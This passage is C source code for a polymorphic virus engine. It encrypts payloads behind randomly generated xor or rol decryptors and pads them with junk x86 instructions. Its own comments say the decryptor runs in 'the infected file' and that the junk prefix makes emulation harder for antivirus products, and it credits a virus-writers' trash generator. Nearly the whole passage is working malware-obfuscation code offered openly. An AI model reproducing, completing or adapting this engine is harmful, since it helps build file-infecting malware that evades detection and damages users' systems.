        if(tempsize = loop1size - tempsize)
        {
            unsigned int k=0;
            unsigned int randcoderes=0;

            Nnops=tempsize;

tempsize=GenerateOperation(OP_NOP,REGREG,reg1,reg2,blocked,&dest[index],tempsize
);
            Nnops-=tempsize;
            index+=tempsize;

            for(k=0;k<Nnops;k++)
            {
                randcoderes=GenerateOperation(OP_NOP,
                                REGREG,
                                reg1,
                                reg2,
                                blocked,
                                &dest[index],
                                Nnops-k);

                if(randcoderes)
                {
                    index+=randcoderes;
                    k+=(randcoderes-1);
                    continue;
                }
                else
                {
                    dest[index]=0x90;
                    index++;
```

```
                }
            }
        }
    }

    return index;
}


unsigned char * EncryptBuffer(unsigned char * buffer,unsigned int size,unsigned
int * ReturnedSize)
{
    unsigned char * encrypted=(void*)0;
    unsigned decryptorsize=0;
    unsigned int key=0;
    unsigned int i=0,j=0;
    unsigned int totalbufsize=0;

    if(GenerateRandomNumber()%2)
    {
        return EncryptBufferModeRol(buffer,size,ReturnedSize);
    }
    //else we will continue with xor mode

    encrypted =
mallocz(size+20+4+(decryptorsize=GenerateRandomNumberWithShortRange(1*1024,10*10
24)));
    totalbufsize=size+20+4+decryptorsize;

    if(!encrypted)
    {
        return (void*)0;
    }

    for(i=0;i<totalbufsize;i++)
    {
        encrypted[i]=0x90;
    }

    *ReturnedSize = size+20+4+decryptorsize;

    key = GenerateRandomNumberWithLargeRange(0,MAXRAND);


if(!(decryptorsize=GenerateDecryptorForAppendedCode(encrypted,decryptorsize,size
,key)))
    {
        freez(encrypted);
        return (void*)0;
    }

    for(i=0;i+4<=size;i+=4)
    {
        *((int*)&encrypted[i+decryptorsize])=*((int*)&buffer[i])^key;
    }

    if(i<size)
    {
        for(j=i;i<size;i++)
        {
            encrypted[i+decryptorsize]=buffer[i];
        }

        *((int*)&encrypted[j+decryptorsize])^=key;
    }
```

```
/*
  //PRUEBA!!!!!

{
    static char *p;
    unsigned int k;

    p = mallocz(size+4+decryptorsize);

    for(k=0;k<size+4+decryptorsize;k++)
    {
        p[k] = encrypted[k];
    }

     __asm
    {
        pushad
        mov eax,p
        call p
        popad
    }

    freez(p);
}

  //PRUEBA!!!!!
*/


    return encrypted;
}


/*
    AddSlowPre will not encrypt the given buffer but it will
    add a pre of executable slow trash for doing more difficult
    emulation for avs.
*/

unsigned char * AddSlowPre(unsigned char * buffer,unsigned int size,unsigned int
* ReturnedSize)
{
    unsigned int presize=0;
    unsigned char * newbuffer=(void*)0;
    unsigned int i=0;

    if(!ReturnedSize)
        return 0;


presize=GenerateRandomNumberWithLargeRange(MIN_PRESIZE_ADDED,MAX_PRESIZE_ADDED);
    newbuffer = mallocz(presize+size);

    if(!presize || !newbuffer)
    {
        if(newbuffer)
        {
            freez(newbuffer);
        }
        *ReturnedSize=size;
        return buffer;
    }

    i=GenerateOperation(OP_NOP,0,0,0,BLK_ESP,newbuffer,presize);

    for(;i<presize;i++)
    {
```

```
        if(!GenerateOperation(OP_NOP,0,0,0,BLK_ESP,&newbuffer[i],1))
        {
            newbuffer[i]=0x90;
        }
    }

    for(i=0;i<size;i++)
    {
        newbuffer[presize+i]=buffer[i];
    }

    freez(buffer);

    *ReturnedSize=presize+size;
    return (void*)newbuffer;
}


---------------------------------
---------------------------------
---------------------------------
---------------------------------

codegenerator.h
---------------

 #ifndef __CODEGENERATOR_H__
#define __CODEGENERATOR_H__

#include "CodeGeneratorCommon.h"


#define MAX_PRESIZE_ADDED 10000
#define MIN_PRESIZE_ADDED 50


typedef struct _FunctionEffects
{
    struct _FunctionEffects * next;

    int Type;
    union{
        int Register;
        int VA;
    };

    int  EffectType;
    union{
        void * ParamList;
        unsigned int Param;
    };

}FunctionEffects;


typedef struct _FunctionDescriptor
{
    struct _FunctionDescriptor * next;
    unsigned int Position;              //Position in the buffer
    unsigned int Size;                  //Size of the function
    FunctionEffects * Effects;          //Effects that functions
                                        //execution will force.
                                        //(Returned value is really
                                        //a effect over eax)
}FunctionDescriptor;


typedef struct _PoolDataDescriptor
```

```
{
    struct _PoolDataDescriptor * next;
    unsigned int    VA;     //VA of data
    unsigned char * Value;  //Buffer with values for that VA
    unsigned int    Size;   //Size of Value buffer;

}PoolDataDescriptor;


/*
    Note PoolDatas are initial values for values in the pool that
    decryptor will use. On the other hand Functions represents
    functions instantiated in the decryptor, and its characteristics
    (This functions could modify data in pool or registers, as
    FunctionEffects structures are saying.
*/

typedef struct
{
    unsigned char      * Buffer;
    unsigned int         Size;
    unsigned int         Position;
    PoolDataDescriptor * PoolDatas;
    FunctionDescriptor * Functions;

}DecryptorDescriptor;


/*
    GenerateSmallDecryptor:

    The function will generate a decryptor of DecryptorSize in
    BufferForDecryptor. This decryptor,after infecting a file with
    it, is able to decrypt a encrypted part in CodeToDecryptVA of
    the infected file, of CodeToDecryptSize, encrypted with xor Key.

    Parameters:

    BufferForDecryptor: buffer for keeping the decryptor. Caller must
    enable this memory.
    DecryptorSize: size of the previous buffer.
    CodeToDecryptVA: VA of the code to decrypt in the infected file.
    CodeToDecryptSize: Size of code to decrypt.
    Key: encryption key.

*/

unsigned char * GenerateSmallDecryptor(
unsigned char * BufferForDecryptor,
unsigned int    DecryptorSize,
unsigned int    CodeToDecryptVA,
unsigned int    CodeToDecryptSize,
unsigned int    Key);



unsigned char * EncryptBuffer(
unsigned char * buffer,
unsigned int size,
unsigned int * ReturnedSize);


unsigned char *AddSlowPre(unsigned char * buffer,
           unsigned int size,
           unsigned int * ReturnedSize);

#endif
```

```
--------------------------------
--------------------------------
--------------------------------
--------------------------------

codegeneratorcommon.c
---------------------

 #include "CodeGeneratorCommon.h"
#include "helpful.h"
#include "apis.h"


////////////////////////////////////////////////////////////
//ETG Trash generator engine by ZOmbie/29a. Thx ZOmbie!! :)//
////////////////////////////////////////////////////////////
#include "etg.h"//////////////////////////////////////////////
#include "etg.c"//////////////////////////////////////////////
////////////////////////////////////////////////////////////

#ifdef JOLLYDEBUG
unsigned int useint3=0;
#endif


unsigned int __cdecl user_random
(unsigned int userdata,
unsigned int range)
{
    return GenerateRandomNumberWithLargeRange(0,range-1);
}



static unsigned int GenerateNop(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int i=0;
    void* etg_ptr;
    unsigned int resbytes=0;

#define TRASH_OPS (ETG_MOVRR|ETG_MOVRC|ETG_MOVSXZX|\
                   ETG_XCHG|ETG_LEA|ETG_TTTRR|ETG_TTTRC|\
                   ETG_INCDEC|ETG_NOTNEG|ETG_TESTRR|ETG_TESTRC|\
                   ETG_IMUL|ETG_SHIFT|ETG_SHxD|ETG_BSWAP|\
                   ETG_XADD|ETG_BSx|ETG_BTx|ETG_JMPS|\
                   /*ETG_SEG|*/ETG_REP)

//////////////

/*
{
    int k=0;
    for(k=0;k<0x00100000;k++)
    {
        etg_ptr = &etg_bin;
        (*(etg_engine*)etg_ptr)
        (GenerateRandomNumber(),
        TRASH_OPS,
        ~blkregs,
        ~blkregs,
        &resbytes,
```

```
        0x7FFFFFFF,
        bytes,
        buffer,
        user_random);

        buffer[resbytes]=0xc3;

        p = buffer;
        __asm pushad;
        p();
        __asm popad;
    }
}

*/
//////////////

    if(bytes>0xF0000000)
    {
        return 0;
    }


#ifdef JOLLYDEBUG
    {
        if(bytes && useint3)
        {
            buffer[0]=0xcc;
            return 1;
        }
    }

    //return 0;

    for(i=0;i<bytes;i++)
    {
        buffer[i]=0x90;
    }

    return bytes;

#endif

    etg_ptr = &etg_bin;
    (*(etg_engine*)etg_ptr)
    (GenerateRandomNumber(),
    ETG_ALL,
    (~blkregs)&0xFF,
    (~blkregs)&0xFF,
    &resbytes,
    0x7FFFFFFF,
    bytes,
    buffer,
    user_random);

    return resbytes;
}


static unsigned int GeneratePseudoPop1(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int retbytesop1=0;
```

```
    unsigned int retbytesop2=0;
    unsigned int firstopbytes=0;
    unsigned int secondopbytes=0;


retbytesop1=GenerateOperation(OP_MOV,REGMEM,op1,RESP,blkregs,buffer,bytes/2);
    if(!retbytesop1)
    {
        return 0;
    }


retbytesop2=GenerateOperation(OP_ADD,REGIMM,RESP,4,blkregs,&buffer[retbytesop1],
bytes-retbytesop1);
    if(!retbytesop2)
    {
        return 0;
    }

    if(bytes-retbytesop1-retbytesop2)
    {

retbytesop2+=GenerateNop(srcdest,op1,op2,blkregs,&buffer[retbytesop1+retbytesop2
],bytes-retbytesop1-retbytesop2);
    }

    return retbytesop1+retbytesop2;
}


static unsigned int GeneratePop( //only pop reg32
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int retbytes=0;

    if(!bytes)
    {
        return 0;
    }

    if(GenerateRandomNumber()%2)
    {
       retbytes=GeneratePseudoPop1(srcdest,op1,op2,blkregs,buffer,bytes);
       if(retbytes)
       {
           return retbytes;
       }
       retbytes=0;
    }

    buffer[retbytes]=0x58+(char)op1;
    retbytes++;

    if(bytes-retbytes)
    {

retbytes+=GenerateNop(srcdest,op1,op2,blkregs,&buffer[retbytes],bytes-retbytes);
    }

    return retbytes;
}
```

```
static unsigned int GeneratePseudoPush1( //only push reg32
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int retbytesop1=0;
    unsigned int retbytesop2=0;
    unsigned int firstopbytes=0;
    unsigned int secondopbytes=0;

    retbytesop1=GenerateOperation(OP_SUB,REGIMM,RESP,4,blkregs,buffer,bytes/2);
    if(!retbytesop1)
    {
        return 0;
    }


retbytesop2=GenerateOperation(OP_MOV,MEMREG,RESP,op1,blkregs,&buffer[retbytesop1
],bytes-retbytesop1);
    if(!retbytesop2)
    {
        return 0;
    }

    if(bytes-retbytesop1-retbytesop2)
    {

retbytesop2+=GenerateNop(srcdest,op1,op2,blkregs,&buffer[retbytesop1+retbytesop2
],bytes-retbytesop1-retbytesop2);
    }

    return retbytesop1+retbytesop2;
}


static unsigned int GeneratePush( //only push reg32
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int retbytes=0;

    if(!bytes)
    {
        return 0;
    }

    if(GenerateRandomNumber()%2)
    {
        retbytes=GeneratePseudoPush1(srcdest,op1,op2,blkregs,buffer,bytes);
        if(retbytes)
        {
            return retbytes;
        }
        retbytes=0;
    }

    buffer[retbytes]=0x50+(char)op1;
    retbytes++;

    if(bytes-retbytes)
    {
```

```
retbytes+=GenerateNop(srcdest,op1,op2,blkregs,&buffer[retbytes],bytes-retbytes);
    }

    return retbytes;
}


static unsigned int GeneratePseudoMov2(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    //TODO

    return 0;
}



static unsigned int GeneratePseudoMov1(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int retBytes;

    if(GenerateRandomNumber()%2)
    {
        retBytes=GeneratePseudoMov2(srcdest,op1,op2,blkregs,buffer,bytes);
        if(retBytes)
        {
            return retBytes;
        }
    }



    return 0;
}



static unsigned int GenerateMov(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int SIB=0;
    unsigned int retBytes=0;

    if(GenerateRandomNumber()%2)
    {
        retBytes=GeneratePseudoMov1(srcdest,op1,op2,blkregs,buffer,bytes);
        if(retBytes)
        {
            return retBytes;
        }
    }
```

```
    switch(srcdest)
    {
        case REGREG:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x89|0x02;
            buffer[1]=0xC0|((char)op1<<3)|((char)op2);
            retBytes=2;
            break;

        case MEMREG:
        case REGMEM:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x89;
            if(srcdest==REGMEM)
            {
                buffer[0]|=0x02;
            }
            buffer[1]=0x00|
                      (srcdest==MEMREG?(op2<<3):(op1<<3))|
                      ((srcdest==MEMREG?op1:op2)>7?0x05:((SIB=1),0x04));
            if(SIB)
            {

if(GenerateRandomNumber()%2||op1==REBP||op1==RESP||op2==REBP||op2==RESP)
                {
                    if(bytes<7)
                    {
                        break;
                    }
                    buffer[1]|=0x80;
                    buffer[2]=(srcdest==MEMREG?op1:op2)|(0x04<<3);
                    *((int*)&buffer[3])=0;
                    retBytes=7;
                    break;
                }
                else
                {
                    if(bytes<2)
                    {
                        break;
                    }

buffer[1]=0x00|((char)(srcdest==REGMEM?op1:op2)<<3)|(char)(srcdest==MEMREG?op1:o
p2);
                    retBytes=2;
                    break;
                }
            }
            else
            {   if(bytes<6)
                {
                    break;
                }
                *((int*)&buffer[2])=(srcdest==MEMREG?op1:op2);
                retBytes=6;
                break;
            }

        case REGIMM:
            if(bytes<5)
            {
```

```
            break;
        }
        buffer[0]=0xb8+(char)op1;
        *((int*)&buffer[1])=op2;
        retBytes=5;
        break;

    case MEMIMM:
        buffer[0]=0xc7;
        if(op1>7)
        {
            if(bytes<10)
            {
                break;
            }
            buffer[1]=0x00|0x05;
            *((int*)&buffer[2])=op1;
            *((int*)&buffer[6])=op2;
            retBytes=10;
            break;
        }
        else
        {
            if(op1==RESP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]=0x04;
                buffer[2]=0x20+(char)op1;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else if(op1==REBP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]=0x45;
                buffer[2]=0x00;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else
            {
                if(bytes<6)
                {
                    break;
                }
                buffer[1]=(char)op1;
                *((int*)&buffer[2])=op2;
                retBytes=6;
                break;
            }
        }

}

if(!retBytes)
{
    return retBytes;
}

return
```

```
retBytes+GenerateNop(srcdest,op1,op2,blkregs,&buffer[retBytes],bytes-retBytes);
}

static unsigned int GeneratePseudoAdd2(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{

    //TODO

    return 0;
}


static unsigned int GeneratePseudoAdd1(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int retBytes=0;
    unsigned int blkcpy=blkregs;
    unsigned int i=0;
    unsigned int tempreg1=0xffffffff;
    unsigned int tempreg2=0xffffffff;
    unsigned int available=bytes;
    unsigned char * startbuf;

    startbuf = buffer;

    if(bytes>0xF0000000 || GenerateRandomNumber()%2)
    {
        retBytes=GeneratePseudoAdd2(srcdest,op1,op2,blkregs,buffer,bytes);
        if(retBytes)
        {
            return retBytes;
        }
    }

    blkcpy|=BLK_ESP;
    tempreg1 = GetFreeRegAndBlock(&blkcpy);
    tempreg2 = GetFreeRegAndBlock(&blkcpy);

    if((srcdest==REGIMM || srcdest==MEMIMM)&&(tempreg1!=0xFFFFFFFF &&
tempreg2!=0xFFFFFFFF))
    {
        unsigned int addval1;
        unsigned int addval2;

        addval1 = GenerateRandomNumberWithShortRange(0,op2);
        addval2 = op2-addval1;


retBytes=GenerateOperation(OP_MOV,REGIMM,tempreg1,addval1,blkcpy,buffer,availabl
e/6);

        if(!retBytes)
            return 0;

        available-=retBytes;
        buffer+=retBytes;
```

```
retBytes=GenerateOperation(OP_MOV,REGIMM,tempreg2,addval2,blkcpy,buffer,availabl
e/5);

        if(!retBytes)
            return 0;

        available-=retBytes;
        buffer+=retBytes;


retBytes=GenerateOperation(OP_ADD,REGREG,tempreg1,tempreg2,blkcpy,buffer,availab
le/4);

        if(!retBytes)
            return 0;

        available-=retBytes;
        buffer+=retBytes;

        if(srcdest==REGIMM)

retBytes=GenerateOperation(OP_MOV,REGREG,tempreg2,op1,blkcpy,buffer,available/3)
;
        else

retBytes=GenerateOperation(OP_MOV,REGMEM,tempreg2,op1,blkcpy,buffer,available/3)
;

        if(!retBytes)
            return 0;

        available-=retBytes;
        buffer+=retBytes;


retBytes=GenerateOperation(OP_ADD,REGREG,tempreg2,tempreg1,blkcpy,buffer,availab
le/2);

        if(!retBytes)
            return 0;

        available-=retBytes;
        buffer+=retBytes;

        if(srcdest==REGIMM)

retBytes=GenerateOperation(OP_MOV,REGREG,op1,tempreg2,blkcpy,buffer,available);
        else

retBytes=GenerateOperation(OP_MOV,MEMREG,op1,tempreg2,blkcpy,buffer,available);

        if(!retBytes)
            return 0;

        available-=retBytes;
        buffer+=retBytes;
    }
    else
    {
        return 0;
    }

    retBytes = buffer-startbuf;


retBytes+=GenerateOperation(OP_NOP,REGREG,0,0,blkregs,buffer,bytes-retBytes);
```

```
    return retBytes;
}

static unsigned int GenerateAdd(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int SIB=0;
    unsigned int retBytes=0;

    if(GenerateRandomNumber()%2)
    {
        retBytes=0;//GeneratePseudoAdd1(srcdest,op1,op2,blkregs,buffer,bytes);
        if(retBytes)
        {
            return retBytes;
        }
    }

    switch(srcdest)
    {
        case REGREG:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x01|0x02;
            buffer[1]=0xC0|((char)op1<<3)|((char)op2);
            retBytes=2;
            break;

        case MEMREG:
        case REGMEM:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x01;
            if(srcdest==REGMEM)
            {
                buffer[0]|=0x02;
            }
            buffer[1]=0x00|
                      (srcdest==MEMREG?(op2<<3):(op1<<3))|
                      ((srcdest==MEMREG?op1:op2)>7?0x05:((SIB=1),0x04));
            if(SIB)
            {

if(GenerateRandomNumber()%2||op1==REBP||op1==RESP||op2==REBP||op2==RESP)
                {
                    if(bytes<7)
                    {
                        break;
                    }
                    buffer[1]|=0x80;
                    buffer[2]=(srcdest==MEMREG?op1:op2)|(0x04<<3);
                    *((int*)&buffer[3])=0;
                    retBytes=7;
                    break;
                }
                else
                {
                    if(bytes<2)
                    {
```

```
                        break;
                    }

buffer[1]=0x00|((char)(srcdest==REGMEM?op1:op2)<<3)|(char)(srcdest==MEMREG?op1:o
p2);
                    retBytes=2;
                    break;
                }
            }
            else
            {   if(bytes<6)
                {
                    break;
                }
                *((int*)&buffer[2])=(srcdest==MEMREG?op1:op2);
                retBytes=6;
                break;
            }

        case MEMIMM:
        case REGIMM:

            buffer[0]=0x81;

            if(srcdest==REGIMM)
            {
                if(op1||(GenerateRandomNumber()%2 && bytes>=6))
                {
                    if(bytes<6)
                    {
                        break;
                    }
                    buffer[1]=0xC0+(char)op1;
                    *((int*)&buffer[2])=op2;
                    retBytes=6;
                    break;
                }
                else //op1=REAX(add acc,imm)
                {
                    if(bytes<5)
                    {
                        break;
                    }
                    buffer[0]=0x05;
                    *((int *)&buffer[1])=op2;
                    retBytes=5;
                }
            }
            else if(op1>7)
            {
                if(bytes<10)
                {
                    break;
                }
                buffer[1]=0x00|0x05;
                *((int*)&buffer[2])=op1;
                *((int*)&buffer[6])=op2;
                retBytes=10;
                break;
            }
            else
            {
                if(op1==RESP)
                {
                    if(bytes<7)
                    {
                        break;
                    }
```

```
                buffer[1]=0x04;
                buffer[2]=0x20+(char)op1;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else if(op1==REBP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]=0x45;
                buffer[2]=0x00;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else
            {
                if(bytes<6)
                {
                    break;
                }
                buffer[1]=(char)op1;
                *((int*)&buffer[2])=op2;
                retBytes=6;
                break;
            }
        }

    }

    if(!retBytes)
    {
        return retBytes;
    }

    return
retBytes+GenerateNop(srcdest,op1,op2,blkregs,&buffer[retBytes],bytes-retBytes);
}

static unsigned int GenerateNot(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    //TODO

    return 0;
}


static unsigned int GeneratePseudoAnd2(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    //TODO

    return 0;
}
```

```
static unsigned int GeneratePseudoAnd1(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    //morgan laws
    //
    // not(a&b) = not(a)|not(b)
    // not(a|b) = not(a)&not(b)

    //a&b = not(not(a&b)) = not(not(a)|not(b))

    //more:
    //a=d+e
    //a=f+g
    //a=(d+e)&c|(f+g)&not(c)

    //TODO

    return 0;
}


static unsigned int GenerateAnd(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int SIB=0;
    unsigned int retBytes=0;

    if(GenerateRandomNumber()%2)
    {
        retBytes=GeneratePseudoAnd1(srcdest,op1,op2,blkregs,buffer,bytes);
        if(retBytes)
        {
            return retBytes;
        }
    }

    switch(srcdest)
    {
        case REGREG:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x21|0x02;
            buffer[1]=0xC0|((char)op1<<3)|((char)op2);
            retBytes=2;
            break;

        case MEMREG:
        case REGMEM:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x21;
            if(srcdest==REGMEM)
            {
```

```
            buffer[0]|=0x02;
        }
        buffer[1]=0x00|
                  (srcdest==MEMREG?(op2<<3):(op1<<3))|
                  ((srcdest==MEMREG?op1:op2)>7?0x05:((SIB=1),0x04));
        if(SIB)
        {

if(GenerateRandomNumber()%2||op1==REBP||op1==RESP||op2==REBP||op2==RESP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]|=0x80;
                buffer[2]=(srcdest==MEMREG?op1:op2)|(0x04<<3);
                *((int*)&buffer[3])=0;
                retBytes=7;
                break;
            }
            else
            {
                if(bytes<2)
                {
                    break;
                }

buffer[1]=0x00|((char)(srcdest==REGMEM?op1:op2)<<3)|(char)(srcdest==MEMREG?op1:o
p2);
                retBytes=2;
                break;
            }
        }
        else
        {   if(bytes<6)
            {
                break;
            }
            *((int*)&buffer[2])=(srcdest==MEMREG?op1:op2);
            retBytes=6;
            break;
        }

    case MEMIMM:
    case REGIMM:

        buffer[0]=0x81;

        if(srcdest==REGIMM)
        {
            if(op1||(GenerateRandomNumber()%2 && bytes>=6))
            {
                if(bytes<6)
                {
                    break;
                }
                buffer[1]=0xE0+(char)op1;
                *((int*)&buffer[2])=op2;
                retBytes=6;
                break;
            }
            else //op1=REAX(add acc,imm)
            {
                if(bytes<5)
                {
                    break;
                }
                buffer[0]=0x25;
```

```
                *((int *)&buffer[1])=op2;
                retBytes=5;
            }
        }
        else if(op1>7)
        {
            if(bytes<10)
            {
                break;
            }
            buffer[1]=0x25;
            *((int*)&buffer[2])=op1;
            *((int*)&buffer[6])=op2;
            retBytes=10;
            break;
        }
        else
        {
            if(op1==RESP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]=0x24;
                buffer[2]=0x20+(char)op1;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else if(op1==REBP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]=0x65;
                buffer[2]=0x00;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else
            {
                if(bytes<6)
                {
                    break;
                }
                buffer[1]=(char)op1+0x20;
                *((int*)&buffer[2])=op2;
                retBytes=6;
                break;
            }
        }

    }

    if(!retBytes)
    {
        return retBytes;
    }

    return
retBytes+GenerateNop(srcdest,op1,op2,blkregs,&buffer[retBytes],bytes-retBytes);
}

static unsigned int GenerateOr(
unsigned int srcdest,
```

```
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int SIB=0;
    unsigned int retBytes=0;

    switch(srcdest)
    {
        case REGREG:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x09|0x02;
            buffer[1]=0xC0|((char)op1<<3)|((char)op2);
            retBytes=2;
            break;

        case MEMREG:
        case REGMEM:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x09;
            if(srcdest==REGMEM)
            {
                buffer[0]|=0x02;
            }
            buffer[1]=0x00|
                      (srcdest==MEMREG?(op2<<3):(op1<<3))|
                      ((srcdest==MEMREG?op1:op2)>7?0x05:((SIB=1),0x04));
            if(SIB)
            {

if(GenerateRandomNumber()%2||op1==REBP||op1==RESP||op2==REBP||op2==RESP)
                {
                    if(bytes<7)
                    {
                        break;
                    }
                    buffer[1]|=0x80;
                    buffer[2]=(srcdest==MEMREG?op1:op2)|(0x04<<3);
                    *((int*)&buffer[3])=0;
                    retBytes=7;
                    break;
                }
                else
                {
                    if(bytes<2)
                    {
                        break;
                    }

buffer[1]=0x00|((char)(srcdest==REGMEM?op1:op2)<<3)|(char)(srcdest==MEMREG?op1:o
p2);
                    retBytes=2;
                    break;
                }
            }
            else
            {   if(bytes<6)
                {
                    break;
                }
```

```
        *((int*)&buffer[2])=(srcdest==MEMREG?op1:op2);
        retBytes=6;
        break;
    }

case MEMIMM:
case REGIMM:

    buffer[0]=0x81;

    if(srcdest==REGIMM)
    {
        if(op1||(GenerateRandomNumber()%2 && bytes>=6))
        {
            if(bytes<6)
            {
                break;
            }
            buffer[1]=0xC8+(char)op1;
            *((int*)&buffer[2])=op2;
            retBytes=6;
            break;
        }
        else //op1=REAX(add acc,imm)
        {
            if(bytes<5)
            {
                break;
            }
            buffer[0]=0x0D;
            *((int *)&buffer[1])=op2;
            retBytes=5;
        }
    }
    else if(op1>7)
    {
        if(bytes<10)
        {
            break;
        }
        buffer[1]=0x0d;
        *((int*)&buffer[2])=op1;
        *((int*)&buffer[6])=op2;
        retBytes=10;
        break;
    }
    else
    {
        if(op1==RESP)
        {
            if(bytes<7)
            {
                break;
            }
            buffer[1]=0x0c;
            buffer[2]=0x20+(char)op1;
            *((int*)&buffer[3])=op2;
            retBytes=7;
            break;
        }
        else if(op1==REBP)
        {
            if(bytes<7)
            {
                break;
            }
            buffer[1]=0x4d;
            buffer[2]=0x00;
```

```
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else
            {
                if(bytes<6)
                {
                    break;
                }
                buffer[1]=(char)op1+8;
                *((int*)&buffer[2])=op2;
                retBytes=6;
                break;
            }
        }

    }

    if(!retBytes)
    {
        return retBytes;
    }

    return
retBytes+GenerateNop(srcdest,op1,op2,blkregs,&buffer[retBytes],bytes-retBytes);
}

static unsigned int GeneratePseudoSub1(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    //TODO

    return 0;
}


static unsigned int GenerateSub(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int SIB=0;
    unsigned int retBytes=0;

    if(GenerateRandomNumber()%2)
    {
        retBytes=GeneratePseudoSub1(srcdest,op1,op2,blkregs,buffer,bytes);
        if(retBytes)
        {
            return retBytes;
        }
    }

    switch(srcdest)
    {
        case REGREG:
            if(bytes<2)
            {
                break;
```

```
            }
            buffer[0]=0x29|0x02;
            buffer[1]=0xC0|((char)op1<<3)|((char)op2);
            retBytes=2;
            break;

        case MEMREG:
        case REGMEM:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x29;
            if(srcdest==REGMEM)
            {
                buffer[0]|=0x02;
            }
            buffer[1]=0x00|
                      (srcdest==MEMREG?(op2<<3):(op1<<3))|
                      ((srcdest==MEMREG?op1:op2)>7?0x05:((SIB=1),0x04));
            if(SIB)
            {

if(GenerateRandomNumber()%2||op1==REBP||op1==RESP||op2==REBP||op2==RESP)
                {
                    if(bytes<7)
                    {
                        break;
                    }
                    buffer[1]|=0x80;
                    buffer[2]=(srcdest==MEMREG?op1:op2)|(0x04<<3);
                    *((int*)&buffer[3])=0;
                    retBytes=7;
                    break;
                }
                else
                {
                    if(bytes<2)
                    {
                        break;
                    }

buffer[1]=0x00|((char)(srcdest==REGMEM?op1:op2)<<3)|(char)(srcdest==MEMREG?op1:o
p2);
                    retBytes=2;
                    break;
                }
            }
            else
            {   if(bytes<6)
                {
                    break;
                }
                *((int*)&buffer[2])=(srcdest==MEMREG?op1:op2);
                retBytes=6;
                break;
            }

        case MEMIMM:
        case REGIMM:

            buffer[0]=0x81;

            if(srcdest==REGIMM)
            {
                if(op1||(GenerateRandomNumber()%2 && bytes>=6))
                {
                    if(bytes<6)
```

```
        {
            break;
        }
        buffer[1]=0xE8+(char)op1;
        *((int*)&buffer[2])=op2;
        retBytes=6;
        break;
    }
    else //op1=REAX(add acc,imm)
    {
        if(bytes<5)
        {
            break;
        }
        buffer[0]=0x2D;
        *((int *)&buffer[1])=op2;
        retBytes=5;
    }
}
else if(op1>7)
{
    if(bytes<10)
    {
        break;
    }
    buffer[1]=0x2d;
    *((int*)&buffer[2])=op1;
    *((int*)&buffer[6])=op2;
    retBytes=10;
    break;
}
else
{
    if(op1==RESP)
    {
        if(bytes<7)
        {
            break;
        }
        buffer[1]=0x2c;
        buffer[2]=0x20+(char)op1;
        *((int*)&buffer[3])=op2;
        retBytes=7;
        break;
    }
    else if(op1==REBP)
    {
        if(bytes<7)
        {
            break;
        }
        buffer[1]=0x6d;
        buffer[2]=0x00;
        *((int*)&buffer[3])=op2;
        retBytes=7;
        break;
    }
    else
    {
        if(bytes<6)
        {
            break;
        }
        buffer[1]=(char)op1+0x28;
        *((int*)&buffer[2])=op2;
